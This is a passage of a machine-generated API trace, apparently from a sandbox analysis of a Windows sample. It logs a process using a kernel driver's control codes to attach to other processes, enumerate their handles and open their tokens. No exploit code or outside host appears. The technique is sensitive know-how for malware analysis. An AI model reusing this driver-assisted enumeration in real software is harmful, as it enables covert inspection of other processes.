lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.493] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.493] PsAcquireProcessExitSynchronization () returned 0x0 [0094.493] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880052335d0) [0094.494] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001f3d070, HandleInformation=0x0) returned 0x0 [0094.494] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.494] PsReleaseProcessExitSynchronization () returned 0x2 [0094.494] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0094.494] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233508) returned 0x0 [0094.494] ObfDereferenceObject (Object=0xfffffa8001f3d070) returned 0x1 [0094.494] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.494] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.494] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.494] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0094.494] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.494] PsAcquireProcessExitSynchronization () returned 0x0 [0094.494] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880052335d0) [0094.494] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001a12f20, HandleInformation=0x0) returned 0x0 [0094.494] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.494] PsReleaseProcessExitSynchronization () returned 0x2 [0094.494] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0094.494] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.494] ObfDereferenceObject (Object=0xfffffa8001a12f20) returned 0x1 [0094.494] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.494] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.494] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.494] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.494] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.494] PsAcquireProcessExitSynchronization () returned 0x0 [0094.494] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880052335d0) [0094.494] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.494] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.494] PsReleaseProcessExitSynchronization () returned 0x2 [0094.494] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0094.494] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038c97c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038c97c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.495] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.495] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.495] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.495] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x424) returned 0xc0 [0094.495] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.495] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8001a17b30, HandleInformation=0x0) returned 0x0 [0094.495] ObOpenObjectByPointer (in: Object=0xfffffa8001a17b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bbc) returned 0x0 [0094.495] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x12 [0094.495] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bbc, DesiredAccess=0x8, TokenHandle=0xfffffa800219f340 | out: TokenHandle=0xfffffa800219f340*=0xc8) returned 0x0 [0094.495] ZwClose (Handle=0xffffffff80000bbc) returned 0x0 [0094.495] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.495] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.495] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.496] CloseHandle (hObject=0xc8) returned 1 [0094.496] CloseHandle (hObject=0xc0) returned 1 [0094.496] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.496] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.496] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.496] PsAcquireProcessExitSynchronization () returned 0x0 [0094.496] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880052335d0) [0094.496] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fc56e0, HandleInformation=0x0) returned 0x0 [0094.497] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.497] PsReleaseProcessExitSynchronization () returned 0x2 [0094.497] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0094.497] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.497] ObfDereferenceObject (Object=0xfffffa8001fc56e0) returned 0x1 [0094.497] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.497] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.497] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.497] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0094.497] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.497] PsAcquireProcessExitSynchronization () returned 0x0 [0094.497] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880052335d0) [0094.497] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002018270, HandleInformation=0x0) returned 0x0 [0094.497] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.497] PsReleaseProcessExitSynchronization () returned 0x2 [0094.497] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0094.497] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.497] ObfDereferenceObject (Object=0xfffffa8002018270) returned 0x1 [0094.497] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.497] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.497] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.497] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.497] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.497] PsAcquireProcessExitSynchronization () returned 0x0 [0094.497] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880052335d0) [0094.497] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.497] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.497] PsReleaseProcessExitSynchronization () returned 0x2 [0094.497] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0094.497] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002126044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002126044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.497] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.497] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.497] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.498] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3a4) returned 0xc0 [0094.498] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.498] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002015b30, HandleInformation=0x0) returned 0x0 [0094.498] ObOpenObjectByPointer (in: Object=0xfffffa8002015b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bbc) returned 0x0 [0094.498] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x12 [0094.498] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bbc, DesiredAccess=0x8, TokenHandle=0xfffffa800219f340 | out: TokenHandle=0xfffffa800219f340*=0xc8) returned 0x0 [0094.498] ZwClose (Handle=0xffffffff80000bbc) returned 0x0 [0094.498] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.498] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.498] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.499] CloseHandle (hObject=0xc8) returned 1 [0094.499] CloseHandle (hObject=0xc0) returned 1 [0094.499] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.499] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.499] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.499] PsAcquireProcessExitSynchronization () returned 0x0 [0094.499] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880052335d0) [0094.499] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800201ae00, HandleInformation=0x0) returned 0x0 [0094.499] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.500] PsReleaseProcessExitSynchronization () returned 0x2 [0094.500] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0094.500] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003929044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003929044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.500] ObfDereferenceObject (Object=0xfffffa800201ae00) returned 0x1 [0094.500] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.500] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.500] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.500] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0094.500] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.500] PsAcquireProcessExitSynchronization () returned 0x0 [0094.500] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880052335d0) [0094.500] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002015170, HandleInformation=0x0) returned 0x0 [0094.500] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.500] PsReleaseProcessExitSynchronization () returned 0x2 [0094.500] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0094.500] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.500] ObfDereferenceObject (Object=0xfffffa8002015170) returned 0x1 [0094.500] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.500] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.500] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.500] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.500] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.500] PsAcquireProcessExitSynchronization () returned 0x0 [0094.500] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880052335d0) [0094.500] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.500] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.500] PsReleaseProcessExitSynchronization () returned 0x2 [0094.500] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0094.500] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002047044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002047044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.500] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.500] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.500] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.500] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x54c) returned 0xc0 [0094.500] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.500] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80020485e0, HandleInformation=0x0) returned 0x0 [0094.501] ObOpenObjectByPointer (in: Object=0xfffffa80020485e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bbc) returned 0x0 [0094.501] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x12 [0094.501] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bbc, DesiredAccess=0x8, TokenHandle=0xfffffa800219f340 | out: TokenHandle=0xfffffa800219f340*=0xc8) returned 0x0 [0094.501] ZwClose (Handle=0xffffffff80000bbc) returned 0x0 [0094.501] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.501] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.501] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.502] CloseHandle (hObject=0xc8) returned 1 [0094.502] CloseHandle (hObject=0xc0) returned 1 [0094.502] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.502] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.502] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.502] PsAcquireProcessExitSynchronization () returned 0x0 [0094.502] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880052335d0) [0094.502] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002048d00, HandleInformation=0x0) returned 0x0 [0094.502] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.502] PsReleaseProcessExitSynchronization () returned 0x2 [0094.503] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0094.503] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.503] ObfDereferenceObject (Object=0xfffffa8002048d00) returned 0x1 [0094.503] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.503] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.503] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.503] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0094.503] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.503] PsAcquireProcessExitSynchronization () returned 0x0 [0094.503] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880052335d0) [0094.503] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800204eca0, HandleInformation=0x0) returned 0x0 [0094.503] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.503] PsReleaseProcessExitSynchronization () returned 0x2 [0094.503] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0094.503] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002057044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002057044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.503] ObfDereferenceObject (Object=0xfffffa800204eca0) returned 0x1 [0094.503] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.503] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.503] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.503] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.503] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.503] PsAcquireProcessExitSynchronization () returned 0x0 [0094.503] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880052335d0) [0094.503] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.503] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.503] PsReleaseProcessExitSynchronization () returned 0x2 [0094.503] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0094.503] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.503] 